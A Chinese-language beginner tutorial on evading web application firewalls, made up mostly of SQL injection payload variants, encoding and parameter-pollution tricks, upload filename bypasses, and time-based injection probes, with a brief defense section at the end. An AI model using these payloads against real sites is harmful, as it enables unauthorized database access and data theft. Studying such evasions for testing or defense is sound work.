Bypass WAF (小白食用)
字数 1039 2025-08-19 12:40:39
Bypass WAF 技术详解与实战思路
前言:绕过WAF的核心思想
绕过WAF(Web应用防火墙)的关键在于理解WAF的工作原理而非简单套用现成方法。WAF通常基于规则匹配和异常检测,绕过它们的核心思路是:
- 变形攻击载荷:使攻击字符串不被规则匹配
- 利用协议特性:HTTP协议和中间件解析的差异
- 混淆技术:使攻击代码看起来无害
- 逻辑绕过:利用WAF检测逻辑的盲区
一、基础绕过技术
1. 大小写混合绕过
SeLeCt * from users where id=1
- 原理:部分WAF规则只匹配全小写或全大写的敏感词
- 变体:随机大小写组合效果更佳
2. 内联注释绕过
/*!SELECT*/ * from users where id=1
- MySQL特性:
/*!...*/中的内容会被MySQL执行 - 可嵌套使用:
SEL/*xxx*/ECT
3. 等价替换技术
1 AND 1=1 → 1 && 1=1
1 OR 1=1 → 1 || 1=1
- 注意不同数据库的运算符差异
4. 空白符变异
SELECT/**/*/**/FROM/**/users
- 有效空白符:普通空格、制表符、换行符、注释符
- 特殊空白符:
%09(tab)、%0A(换行)、%0D(回车)、%0B(垂直tab)、%A0(不换行空格)
二、高级混淆技术
1. 十六进制编码
SELECT * FROM users WHERE username=0x61646D696E
- 适用于字符串和整型
- 可部分编码:
SELECx54 * FROM users
2. Unicode规范化绕过
SELECT * FROM users -- 全角字符
SEL%E1%83%A5T * FROM users -- Unicode编码
- 利用字符的多形式表示
3. 注释分割法
SEL/*xxxxxx*/ECT/*aaaaa*/user/*bbbbb*/name/*ccccc*/FROM/*ddddd*/users
- 关键:注释内容无规律且长度可变
4. 多重编码技术
%2527 -- 双重URL编码单引号
%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65 -- admin的二次编码
三、协议层绕过
1. HTTP参数污染(HPP)
?id=1&id=SELECT * FROM users
- 不同服务器对重复参数的处理不同:
- Apache: 取最后一个
- IIS: 取第一个
- JSP: 拼接成数组
2. HTTP参数分块
Transfer-Encoding: chunked
POST数据使用分块编码传输
3. 请求方式变异
GET请求改为POST
POST请求改为PUT/DELETE
Content-Type切换:application/json → text/xml
4. 边界符绕过
filename="test.php .jpg" -- 利用解析差异
filename=test.p\x68p
四、数据库特性利用
MySQL特有绕过
SELECT{x 1}name{x 2}FROM{x 3}users
SELECT`name`FROM`users`
MSSQL特有绕过
EXEC('SELECT * FROM users')
DECLARE @q VARCHAR(100);SET @q=0x73656C656374202A2066726F6D207573657273;EXEC(@q)
Oracle特有绕过
SELECT CHR(65)||CHR(66)||CHR(67) FROM dual
五、WAF逻辑盲区
1. 超长数据绕过
id=1 and 1=1xxxxxxxx...[1000+个字符]...xxx
- 部分WAF对超长参数检测不完整
2. 非常规参数位置
Cookie: user=admin' AND 1=1--
X-Forwarded-For: 127.0.0.1' AND SLEEP(5)--
3. 时间延迟探测
?id=1 AND IF(1=1,SLEEP(5),0)
?id=1;WAITFOR DELAY '0:0:5'--
六、综合绕过思路
1. 多技术组合
/*!UNIon*/ /*!SeleCT*/ 1,2,3,CONCAT(CHAR(104,101,108,108,111),/*!77777FLOOR(RAND(0)*2)*/)
2. 分阶段攻击
- 先探测WAF过滤规则
- 确定被过滤的关键词
- 设计绕过方案
- 逐步验证
3. 上下文感知绕过
- 根据返回错误信息调整payload
- 观察WAF拦截日志(如有)
- 利用网站正常功能作为掩护
七、防御措施与检测
WAF防御策略
- 规范化输入数据
- 多层级检测(语法+语义)
- 机器学习行为分析
- 定期更新规则库
检测WAF存在
1. 发送恶意请求观察响应
2. 测试各种边界情况
3. 分析HTTP头信息
4. 时间延迟探测
结语
绕过WAF的核心在于理解系统如何解析你的输入而非死记硬背payload。每个WAF的实现和规则都不同,需要根据实际情况灵活调整策略。建议通过合法授权的方式练习这些技术,真正掌握Web安全防护的精髓。